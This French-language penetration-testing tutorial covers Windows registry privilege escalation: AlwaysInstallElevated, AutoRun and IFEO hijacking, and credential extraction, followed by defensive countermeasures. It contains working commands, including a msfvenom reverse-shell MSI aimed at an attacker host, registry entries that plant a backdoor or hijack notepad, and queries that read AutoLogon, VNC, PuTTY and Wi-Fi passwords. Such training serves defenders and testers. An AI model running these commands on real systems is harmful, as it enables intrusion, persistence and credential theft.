Attaques basées sur le registre
Exploiter les mauvaises configurations du registre Windows pour l'élévation de privilèges
Ce que vous allez découvrir
🎯 Pourquoi c'est important
Le registre Windows stocke la configuration de presque tout dans le système d'exploitation. Les mauvaises configurations dans des clés de registre spécifiques peuvent accorder un accès SYSTEM aux utilisateurs non privilégiés. AlwaysInstallElevated est pratiquement une victoire instantanée quand il est activé.
🔍 Ce que vous allez apprendre
- Comment AlwaysInstallElevated permet l'élévation de privilèges basée sur MSI
- Exploiter les clés de registre AutoRun pour l'exécution de code
- Extraire les credentials stockés dans les clés de registre
- Identifier les emplacements de registre inscriptibles pour la persistance
🚀 Votre première victoire
Dans les 5 prochaines minutes, vous vérifierez AlwaysInstallElevated sur votre propre système - s'il est activé, vous comprendrez exactement comment l'exploiter.
🔧 Essayez maintenant
Vérifiez si AlwaysInstallElevated est activé sur votre système :
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Vous verrez : Soit "ERROR: The system was unable to find the specified registry key or value" (non vulnérable) soit "AlwaysInstallElevated REG_DWORD 0x1" (vulnérable - les deux clés doivent être à 1).
Compétences que vous maîtriserez
✅ Compréhension fondamentale
- Structure du registre Windows
- Différences HKLM vs HKCU
- Comportement de l'installateur MSI
- Mécanismes AutoRun
🔍 Compétences expertes
- Exploitation AlwaysInstallElevated
- Persistance basée sur le registre
- Extraction de credentials du registre
- Manipulation des clés de registre de services
Comprendre les attaques de registre
Le registre Windows est une base de données hiérarchique stockant la configuration système et applicative. Certaines clés de registre contrôlent des comportements sensibles à la sécurité - quand mal configurées, elles fournissent des chemins directs d'élévation de privilèges.
Registre = Base de données de configuration Windows = Surface d'attaque
AlwaysInstallElevated
C'est l'un des vecteurs d'élévation de privilèges les plus fiables. Quand activé dans HKLM et HKCU, tout fichier .msi s'installe avec les privilèges SYSTEM - même exécuté par des utilisateurs non privilégiés :
# Vérifier les deux clés (LES DEUX doivent être à 1)
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# Si les deux retournent 0x1, générer un MSI malveillant :
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<attacker> LPORT=443 -f msi -o shell.msi
# Exécuter (s'exécute en tant que SYSTEM)
msiexec /quiet /qn /i shell.msi
# Ou avec PowerUp
Write-UserAddMSI
# Crée UserAdd.msi qui ajoute un utilisateur admin local
⚠️ Important
Les deux clés HKLM et HKCU doivent être à 1 pour que cette attaque fonctionne. Si une seule est définie, la vulnérabilité n'existe pas.
Clés de registre AutoRun
Les clés AutoRun exécutent des programmes au démarrage du système ou à la connexion utilisateur. Si vous pouvez modifier ces clés ou les binaires qu'elles référencent, vous obtenez la persistance et potentiellement l'élévation de privilèges :
# Emplacements AutoRun communs
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce"
reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce"
# Vérifier les permissions sur les binaires référencés
# Si le chemin du binaire est inscriptible, remplacez-le par votre payload
# Vérifier les permissions des clés de registre
accesschk.exe -kwuqsw "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
# Si inscriptible, ajouter votre propre entrée
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\temp\shell.exe"
Credentials stockés dans le registre
Diverses applications et fonctionnalités Windows stockent des credentials dans le registre, parfois en clair ou dans des formats facilement réversibles :
# Credentials AutoLogon (peuvent contenir un mot de passe en clair)
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" /v DefaultDomainName
# Sessions PuTTY enregistrées (peuvent contenir des credentials)
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s
# Mots de passe VNC (stockés chiffrés mais facilement crackables)
reg query "HKLM\SOFTWARE\RealVNC\WinVNC4" /v Password
reg query "HKCU\Software\TightVNC\Server" /v Password
# Chaînes de communauté SNMP
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP\Parameters\ValidCommunities"
# Mots de passe des réseaux sans fil
netsh wlan show profiles
netsh wlan show profile name="NetworkName" key=clear
Outils et techniques
Fonctions registre de PowerUp
PowerUp fournit des fonctions spécifiquement pour les attaques basées sur le registre :
# Vérifier AlwaysInstallElevated
Get-RegistryAlwaysInstallElevated
# Vérifier les credentials AutoLogon
Get-RegistryAutoLogon
# Trouver les entrées AutoRun modifiables
Get-ModifiableRegistryAutoRun
# Générer un payload MSI pour AlwaysInstallElevated
Write-UserAddMSI
Analyse des permissions du registre
Utilisez accesschk pour trouver les clés de registre inscriptibles :
# Trouver les clés de registre inscriptibles dans HKLM
accesschk.exe -kwuqsw "Authenticated Users" HKLM\SOFTWARE /accepteula
accesschk.exe -kwuqsw "Users" HKLM\SOFTWARE /accepteula
# Vérifier une clé spécifique
accesschk.exe -kwuqsv HKLM\SYSTEM\CurrentControlSet\Services\VulnerableService /accepteula
# Clés à vérifier pour l'accès en écriture :
# HKLM\SYSTEM\CurrentControlSet\Services\* (configurations de services)
# HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run (autoruns)
# HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options (détournement de débogueur)
Image File Execution Options (IFEO)
IFEO permet de spécifier un débogueur pour n'importe quel exécutable. Si vous pouvez écrire dans ces clés, vous pouvez détourner l'exécution de binaires système :
# Vérifier les permissions IFEO
accesschk.exe -kwuqsw "Authenticated Users" "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options"
# Si inscriptible, détourner notepad.exe (exemple)
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v Debugger /t REG_SZ /d "C:\temp\shell.exe"
# Maintenant quand quelqu'un lance notepad, votre payload s'exécute à la place
Scénarios d'attaque réels
🔴 Scénario : AlwaysInstallElevated en environnement d'entreprise
Un département IT a activé AlwaysInstallElevated via Group Policy pour permettre aux utilisateurs d'installer des logiciels approuvés sans droits admin. Ils n'ont pas réalisé que cela permet à TOUS les MSI de s'exécuter en tant que SYSTEM. Un attaquant avec un accès à faibles privilèges génère un MSI malveillant et élève instantanément vers SYSTEM.
Attaque : Vérifier le registre → Confirmer AlwaysInstallElevated → Générer MSI avec msfvenom → Exécuter → Shell SYSTEM
🟠 Scénario : Découverte de credentials AutoLogon
Un système de kiosque utilise AutoLogon avec des credentials stockés dans le registre. Le mot de passe est en clair. Un attaquant avec un accès local lit le registre et obtient des credentials pour un compte de service de domaine, permettant le mouvement latéral à travers le réseau.
Attaque : Interroger le registre Winlogon → Extraire le mot de passe en clair → Tester contre d'autres systèmes → Mouvement latéral
💡 Conseil d'expert
AlwaysInstallElevated est étonnamment courant dans les environnements d'entreprise. Il est souvent activé par les départements IT essayant de simplifier le déploiement de logiciels sans comprendre les implications de sécurité. Vérifiez-le toujours - c'est une vérification rapide avec un gain à fort impact.
Contre-mesures défensives
Prévention AlwaysInstallElevated
- Ne jamais activer AlwaysInstallElevated en environnement de production
- Utiliser des outils de déploiement logiciel appropriés (SCCM, Intune) à la place
- Auditer régulièrement les Group Policy pour ce paramètre
- Si requis, utiliser AppLocker pour restreindre quels MSI peuvent s'exécuter
Protection des credentials
- Ne jamais utiliser AutoLogon avec des mots de passe en clair
- Si AutoLogon est requis, utiliser LSASecret (toujours extractible mais plus difficile)
- Implémenter Credential Guard pour protéger les credentials stockés
- Audits réguliers des credentials stockés dans le registre
Durcissement du registre
- Maintenir des ACL restrictives sur les clés de registre sensibles
- Surveiller les modifications de registre sur les clés AutoRun et de services
- Implémenter l'audit du registre pour les clés à haute valeur
- Utiliser les Security Baselines du Microsoft Security Compliance Toolkit
Questions fréquemment posées
Pourquoi quelqu'un activerait-il AlwaysInstallElevated ?
Les départements IT l'activent pour permettre aux utilisateurs d'installer des logiciels approuvés sans appeler le helpdesk. Ils ne réalisent souvent pas que cela s'applique à TOUS les fichiers MSI, pas uniquement les approuvés. C'est un compromis commodité vs. sécurité qui tourne horriblement mal.
Puis-je modifier les clés de registre HKLM en tant qu'utilisateur standard ?
Par défaut, non. HKLM requiert des privilèges administratifs. Cependant, les mauvaises configurations (souvent dues à des installateurs de logiciels mal écrits) accordent parfois l'accès en écriture aux utilisateurs standard sur des clés spécifiques. Vérifiez toujours les permissions avec accesschk.
Comment décoder les mots de passe VNC du registre ?
Les mots de passe VNC sont "chiffrés" avec une clé fixe et connue. Des outils comme vncpwd ou des décodeurs en ligne peuvent les inverser instantanément. La valeur hex dans le registre est essentiellement en clair.
🎯 Attaques de registre - Conquis !
Vous comprenez maintenant comment exploiter les mauvaises configurations de registre pour l'élévation de privilèges. AlwaysInstallElevated, les clés AutoRun et les credentials stockés sont des vecteurs d'attaque puissants qui apparaissent fréquemment dans les environnements réels.
Prêt à apprendre l'usurpation de tokens →